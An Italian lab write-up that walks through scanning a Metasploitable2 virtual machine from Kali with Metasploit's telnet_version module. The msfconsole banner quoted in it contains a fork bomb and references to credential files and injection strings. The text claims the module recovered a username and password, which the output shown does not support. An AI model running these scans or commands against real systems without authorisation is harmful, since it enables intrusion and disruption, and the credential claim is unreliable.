

Configurazione IP: 192.168.1.40 metasploitable2

```
metasploit2 [In esecuzione] - Oracle VM VirtualBox
File  Macchina  Visualizza  Inserimento  Dispositivi  Aiuto

msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:13:3c:9e
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe13:3c9e/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:55 errors:0 dropped:0 overruns:0 frame:0
          TX packets:75 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:13024 (12.7 KB)  TX bytes:5606 (5.4 KB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:122 errors:0 dropped:0 overruns:0 frame:0
          TX packets:122 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:27289 (26.6 KB)  TX bytes:27289 (26.6 KB)

msfadmin@metasploitable:~$ _
```

Configurazione IP: 192.168.1.25 kali

```
eth1: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
      inet 192.168.1.25  netmask 255.255.255.0  broadcast 192.168.1.255
      inet6 fe80::7120:d4bd:9c34:600b  prefixlen 64  scopeid 0x20<link>
      ether 08:00:27:ff:a5:e8  txqueuelen 1000  (Ethernet)
      RX packets 0  bytes 0 (0.0 B)
      RX errors 0  dropped 0  overruns 0  frame 0
      TX packets 55  bytes 8803 (8.5 KiB)
      TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
     inet 127.0.0.1  netmask 255.0.0.0
     inet6 ::1  prefixlen 128  scopeid 0x10<host>
     loop txqueuelen 1000  (Local Loopback)
     RX packets 4  bytes 240 (240.0 B)
     RX errors 0  dropped 0  overruns 0  frame 0
     TX packets 4  bytes 240 (240.0 B)
     TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

Lanciamo msfconsole

```
lucas@kali: ~  
File Azioni Modifica Visualizza Aiuto  
--dHJ5aGFyZGVyIQ==+-  
:sm@~Destroy.No.Data~s:-  
-+h2~Maintain.No.Persistence~h+-  
:odNo2~Above.All.Else.Do.No.Harm~Ndo:-  
./etc/shadow.0days-Data'%200R%201=1--.No.0MN8'/.  
-++SecKCoin++e.AMd`~.-://///hbove.913.ElsMNh+-  
~/.ssh/id_rsa.Des-`htN01UserWroteMe!-  
:dopeAW.No<nano>o`is:TRiKC.sudo-.A:  
:we're.all.alike`The.PFYroy.No.D7:  
:PLACEDRINKHERE!:`yxp_cmdshell.Ab0:  
:msf>exploit -j.`Ns.BOB6ALICEes7:  
:--srwxrwx:-.`MS146.52.No.Per:  
:<script>.Ac816/`sENbove3101.404:  
:NT_AUTHORITY.Do`T:/shSYSTEM-.N:  
:09.14.2011.raid`/STFU!wall.No.Pr:  
:hevnsntSurb025N.`dNVRGOING2GIVUUP:  
:#OUTHUSE- -s:`/corykennedyData:  
:$nmap -oS`SSo.6178306Ence:  
:Awsma.da:`/shMTL#beats3o.No.:  
:Ring0:`dDestRoyREXKC3ta/M:  
:23d:`sSETEC.ASTRONOMYist:  
/-`ence.N:(){ :|: & };;  
/yo-`Shall.We.Play.A.Game?tron/  
-ooy.if1ghtf0r+ehUser5`  
..th3.H1V3.U2VjRFNN.jMh+.`  
MjM~WE.ARE.se~MMjMs  
+~KANSAS.CITY's~  
J~HAKCERS~./.`  
.esc:wq!:-  
++ATH  
  
=[ metasploit v6.3.10-dev ]  
+ -- ==[ 2306 exploits - 1205 auxiliary - 412 post ]  
+ -- ==[ 968 payloads - 46 encoders - 11 nops ]  
+ -- ==[ 9 evasion ]  
  
Metasploit tip: Use help <command> to learn more  
about any command  
Metasploit Documentation: https://docs.metasploit.com/  
msf6 > |
```

Nella figura in basso, vediamo come abbiamo sfruttare la vulnerabilità del servizio telnet utilizzando il path.

controlliamo i vari parametri necessari per lanciare l'exploit, con il comando show options possiamo modificare le opzioni.

```

msf6 > auxiliary/scanner/telnet/telnet_version
[-] Unknown command: auxiliary/scanner/telnet/telnet_version
This is a module we can load. Do you want to use auxiliary/scanner/telnet/telnet_version?
[y/N] y
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS		yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > show options
Module options (auxiliary/scanner/telnet/telnet_version):

```

Name	Current Setting	Required	Description
PASSWORD		no	The password for the specified username
RHOSTS	192.168.1.40	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	23	yes	The target port (TCP)
THREADS	1	yes	The number of concurrent threads (max one per host)
TIMEOUT	30	yes	Timeout for the Telnet probe
USERNAME		no	The username to authenticate as

```

View the full module info with the info, or info -d command.

msf6 auxiliary(scanner/telnet/telnet_version) >

```

Abbiamo configurato RHOSTS della nostra macchina vittima metasploitable2 con l'IP 192.168.1.40

Lanciamo il comando exploit per eseguire l'attacco, il modulo ha recuperato username e password

```

msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS => 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

```

```

[+] 192.168.1.40:23 - 192.168.1.40:23 TELNET
[+] 192.168.1.40:23 - Scanned 1 of 1 hosts (100% complete)
[+] Auxiliary module execution completed
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

```


